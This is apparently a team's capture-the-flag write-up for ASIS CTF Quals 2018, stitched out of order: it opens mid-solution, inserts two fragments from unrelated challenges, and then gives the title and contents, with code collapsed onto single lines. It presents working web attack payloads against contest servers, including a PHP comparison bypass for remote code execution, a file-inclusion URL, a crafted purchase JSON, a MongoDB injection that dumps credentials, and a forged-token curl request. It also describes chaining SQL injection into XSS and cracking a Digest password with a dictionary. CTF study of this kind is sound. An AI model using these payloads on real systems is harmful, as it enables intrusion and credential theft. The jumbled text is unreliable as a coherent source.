mod 3x+0 = y+2 = 0 mod 5x+1 = y+0 = 0 mod 7... and so on```According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used. Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.Code snippet:```pythonfrom gmpy import * def find(k): p = next_prime(1) mod, rx, ry = [], [], [] for i in range(k): for j in range(k): mod.append(p) rx.append((p-i)%p) ry.append((p-j)%p) p = next_prime(p) return mod, rx, ry while True: r.recvuntil('k = ') k = int(r.recvline()[:-1]) m, rx, ry = find(k) X = chinese_remainder(m, rx) Y = chinese_remainder(m, ry) cond = r.recvline()[:-1] prod = reduce(lambda x, y: x*y, m) if 'larger' in cond: lb = int(cond.split()[-1]) q = lb/prod X += prod*(q+1) Y += prod*(q+1) elif 'smaller' in cond: q = X/prod X -= prod*(q+1) Y -= prod*(q+1) r.sendline(get_format(X, Y, k)) data = r.recvline()[:-1] if 'please pass' not in data: break``` FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}` ## misc ### Plastic (sces60107) There is a png file. Just try `zsteg````$ zsteg plasticmeta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"``` You can notice that there is a base64-encoded string`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==` But you cannot just use base64 decoder. There is something you need to do first. You remove every `` in the string. Then, you can use base64 decode. After base64decoding, you still don't know what it is.Just use `binwalk`, then you can find out that there is a zlib compressed data The final step is decompress the data. The flag is right here```$ strings decompressed_data bplist00wxX$versionX$objectsY$archiverT$top!"#$%&'()*+189=AGHNOWX\_cdhlostU$null WNS.keysZNS.objectsV$class XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_backgroundColorZsourceText#./0UNSRGB\NSColorSpaceO*0.9862459898 0.007120999973 0.027434000752345Z$classnameX$classesWNSColor67WNSColorXNSObject:;<YNS.string23>?_NSMutableString>@7XNSStringCDEFXNSString\NSAttributes\documentclass[10pt]{article}\usepackage[usenames]{color} %used for font color\usepackage{amssymb} %maths\usepackage{amsmath} %maths\usepackage[utf8]{inputenc} %useful to type directly diacritic charactersVNSFontSTUVVNSSizeXNSfFlagsVNSName#@(VMonaco23YZVNSFont[7VNSFont23]^\NSDictionary23`a_NSAttributedStringNSAttributedString#@BfgWNS.time#A23ijVNSDatek7VNSDatem/0F1 1 1CpEF={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}23uv_NSMutableDictionaryu]7_NSKeyedArchiveryzTroot ``` The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}` ## forensic ### Trashy Or Classy (sces60107 bookgin) In this forensic challenge you will get a pcap file. In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/` It's a compilicated challenge. I will try to make a long story short. This challenge can be divided into three steps. #### first stepIn the first step, you will find an interest file from pcap which is `flag.caidx` Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync) You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx` There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr` But you need the username and password for the authentication. #### second step The username can be found in the pcap file. It's `admin` But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication) You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack. It's won't take too much time to crack the password. Finally, the password is `rainbow` #### third step Now you can login and download the `flag.caidx`. But you still cannot list `flag.castr` You may need to install `casync` Then you can use `test-caindex````trashy/casync/build$ ./test-caindex ../../flag.caidx caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)...```These message will tell you the chunk file's position.For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` You can download all the chunk file in `flag.castr` now. Now you can extract the flag```trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_liketrashy$ cd wherever_you_liketrashy/wherever_you_like$ lsflag.png``` The flaf is right here.![](https://i.imgur.com/SSoTmJm.png) The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}` ### Tokyo (sces60107) Without the hint, this challenge is probably the most guessing challenge in this CTF. We will get a binary, but it can't be recognized by any tools. After some investigation, I got three clues from the binary. First, there is a header at the begining of this binary. And the header begin with `KC\n` Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter. Gather all the printable letter. It seems like you can reconstruct the flag from it in some order. `!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua` Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary. Totally, I found 89 blocks in the binary and each blocks is 3 byte long.what a coincidence! The length of flag is also 89. These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3. That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet` Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database `KC\n` is the magic signatrure of kyoto cabinet database file. According the header, we can also find out that it is a hashdatabase. After understanding the mechanism of kypto cabinet database, the end of the database is the record section. Those 3-byte-long blocks is buckets. ![](https://i.imgur.com/WcskOZg.png) So, the last question is what the key is. According to record section, we will know the key size which is 3 byte long. After several attempts, I found out the keys of the flag go from "000" to "088" It's time to reconstruct the flag```pythonfrom pwn import *import kyotocabinet def haha(a): k=a.encode("hex") return int(k,16)f=open("tokyo").read()j=f[0x30:] temp=[]flag=Falsekk=""pos=0hh=[]for i in range(len(j)): if j[i]!="\x00": if flag: kk+=j[i] else: kk=j[i] flag=True else: if flag: if kk=="\xcc\x04": pos=i break temp.append(kk) kk="" flag=False hh.append(i-3) t=j[pos:]t2=[]flag=Falsekk=""for i in range(len(t)): if t[i]!="\x00": if flag: kk+=t[i] else: kk=t[i] flag=True else: if flag: if len(kk)<2 or kk[1]!="\xee": kk="" continue t2.append(kk[0]) kk="" flag=Falsei=map(haha,temp) flag = "".join(t2)flag2=""for k in map(haha,temp): v=sorted(i).index(k) flag2+=flag[(v)%89]print flagprint flag2 indd=[]for i in range(89): j=str(i).rjust(3,"0") temp=kyotocabinet.hash_murmur(j) indd.append(temp%0x100007) flag3=""for k in indd: v=sorted(indd).index(k) flag3+=flag2[(v)%89]print flag3``` This code is not a clean code. I'm sorry about that. By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}` ## crypto ### the_early_school (shw)```pythonfrom Crypto.Util.number import * def dec(s): if len(s) % 3 == 2: return dec(s[:-2]) + s[-2] r = '' for i in range(0, len(s), 3): r += s[i:i+2] return r with open('FLAG.enc', 'rb') as f: s = f.read()ENC = bin(bytes_to_long(s))[2:] for i in xrange(1 << 30): ENC = dec(ENC) a = long_to_bytes(int(ENC, 2)) if 'ASIS' in a: print a break```FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}` ### Iran (shw and sasdf) #### First-halfWe know how the key is generated.```pythonkey_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))```Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.```pythonfrom decimal import *import gmpy getcontext().prec = 1000t = Decimal(4*N).sqrt()t = int(t) for i in range(10000): q = t - i # or try t + i if n % q != 0: continue p = n / q assert(gmpy.is_prime(p) and gmpy.is_prime(q)) print 'p =', p print 'q =', q```After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.```pythondef decrypt(a, b, m): n, e = a*b, 65537 d = gmpy.invert(e, (a-1)*(b-1)) key = RSA.construct((long(n), long(e), long(d))) dec = key.decrypt(m) return dec print decrypt(p, q, c) # ASIS{0240093faf9ce```Also, we can get the range of `u = r+s` by```pythondef prev_prime(p): for i in xrange(1, 1<<20): if gmpy.next_prime(p-i) != p: return p-i+1 u_min = max(prev_prime(p), (prev_prime(q)/4)+1)u_max = min(p-1, q/4)```
* Overflow pointer of `name`.* Change name to overwrite fake fd -> leak.* Checkout to overflow pointer of `name` to fake fd;* Change name -> gothijacking.* [exploit](https://github.com/ssspeedgit00/CTF/tree/master/2018/PCTF/shop)
This was a heap exhaustion problem. Computation.sml forks the prorgram execution into multiple independent heaps when encountering an if statement. The binary will also hash-cons equivalent heaps (see Makefile). Therefore, if we can get multiple heaps to be equal when the flag is some value, we can exfiltrate data based on whether the program OOMs or not. The full exploit is at [https://pastebin.com/aeCdMk73](https://pastebin.com/aeCdMk73).
# ASIS CTF Quals 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.** - [ASIS CTF Quals 2018](#asis-ctf-quals-2018) - [Web](#web) - [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin) - [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107) - [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin) - [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin) - [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera) - [Gameshop (unsolved)](#gameshop-unsolved) - [rev](#rev) - [Warm up (sces60107)](#warm-up-sces60107) - [baby C (sces60107)](#baby-c-sces60107) - [Echo (sces60107)](#echo-sces60107) - [Left or Right? (sces60107)](#left-or-right-sces60107) - [Density (sces60107)](#density-sces60107) - [pwn](#pwn) - [Cat (kevin47)](#cat-kevin47) - [Just_sort (kevin47)](#just_sort-kevin47) - [message_me (kevin47)](#message_me-kevin47) - [Tinypwn (kevin47)](#tinypwn-kevin47) - [PPC](#ppc) - [Neighbour (lwc)](#neighbour-lwc) - [The most Boring (how2hack)](#the-most-boring-how2hack) - [Shapiro (shw)](#shapiro-shw) - [misc](#misc) - [Plastic (sces60107)](#plastic-sces60107) - [forensic](#forensic) - [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin) - [first step](#first-step) - [second step](#second-step) - [third step](#third-step) - [Tokyo (sces60107)](#tokyo-sces60107) - [crypto](#crypto) - [the_early_school (shw)](#the_early_school-shw) - [Iran (shw and sasdf)](#iran-shw-and-sasdf) - [First-half](#first-half) ## Web ### Nice code (unsolved, written by bookgin) The challenge is related to PHP code review. The page will show the error message. All we have to do is bypass the error :) ```# substr($URL, -10) !== '/index.php'http://167.99.36.112:8080/admin/index.php# $URL == '/admin/index.php'http://167.99.36.112:8080/admin/index.php/index.php``` Next, we are redirected to http://167.99.36.112:8080/another/index.php?source . ```php $_v){ if($_k_o == $k_Jk){ $f = 1; } if($f && strlen($__dgi)>17 && $_p == 3){ $k_Jk($_v,$_k_o); //my shell :) } $_p++; }}else{ echo "noob!";} ``` Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`. However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow! The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE. Postscript: 1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.3. If the condition is impossible to bypass, just dig into the bug databse/source code.4. The challenge is solved by more than 20 teams, so it must be simple to find a solution. I've learned a lot. Thanks to this challenge and PHP! ### Bug Flag (bookgin, sces60107) Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask. ```pythonfrom flask import Flask, Response, render_template, session, request, jsonify app = Flask(__name__)app.secret_key = open('private/secret.txt').read() flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }} @app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons')) @app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png') @app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result) if __name__ == '__main__': app.run(host='0.0.0.0', port=80)``` The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session. Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works. Let's test Python floating-point precision.```pythonPython 2.7.14 (default, Jan 5 2018, 10:41:29) [GCC 7.2.1 20171224] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 2901.4210854715202004e-14``` Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`. Payload:```{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}``` Flag: `ASIS{th1@n_3xpens1ve_Fl@G}` You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893). ### Good WAF (solved by ysc, written by bookgin) The challenge requires us to bypass the WAF on SQL injection. **Unintended solution:** When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all. Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}` Never fix anything on the production server directly :) ### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin) Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages: - admin_area- get/title/1- get/text/1- get/image/1 The `admin_area` requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.` Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB. Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard. Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`: ```{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"} {"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}``` Great! The payload:```shcurl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut -f1 -d' '`"``` Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}` Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this. Next time, I'll carefully inspect every payload and HTTP status code/headers. ### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera) The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`. The source HTML of `error/1`. ```html<html><head><script src='/jquery-3.3.1.min.js'></script><link href='style.css' rel='stylesheet'></head><body><div class="accordion"> <dl> <dt class="active"> <script>var user = '1';</script>Invalid credentials were given.``` If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons. It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither. What if it's not a XSS challenge? I don't think so because: 1. I note that the jQuery is loaded in the error page, but it's not used.2. There is a XSS filter. The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all. This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully. It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability. SQLmap will dump the database. The DB is SQlite. Thanks to @herrera in IRC channel:> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php Postscript: 1. Sharp eyes: HTTP status code2. Some misleading part might be the second stage of the challenge.3. It a number of teams solve this challenge, it must be not difficult. ### Gameshop (unsolved) Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution). Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` . However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge. There is a long road to go on solving web challnges:) ## rev ### Warm up (sces60107) This is a warm up challenge. They give you a C file like this. ```C#define M 37#define q (2+M/M)#define v (q/q)#define ef ((v+q)/2)#define f (q-v-ef)#define k (8-ef)struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}``` You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.It look likes you need to beautify this code. You can count on online tools, but I do this with myself. And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood. The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}` ### baby C (sces60107) This challenge give you a obfuscated binary. It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator). It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former. But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary. ```....text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset strncmp_plt.text:08049576 mov eax, dword_83F6158.text:0804957B mov eax, off_85F61C8[eax*4].text:08049582 mov eax, [eax]...``` I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)` Well, the hint tell us `flag is ASIS{sha1(input[:14])}` Now we just need the first three byte. The next step needs patience. you have to trace down the code manually. Then you can find this ```....text:080498C8 mov dl, byte ptr dword_804D050.text:080498CE mov edx, dword_81F5B70[edx*4].text:080498D5 mov dword_804D05C, edx.text:080498DB mov dword_804D058, 'A'.text:080498E5 mov eax, dword_804D05C.text:080498EA mov edx, dword_804D058.text:080498F0 mov ecx, 8804B21Ch...``` If you are familiar with movfuscator, you will know this part of code is trying to compare two 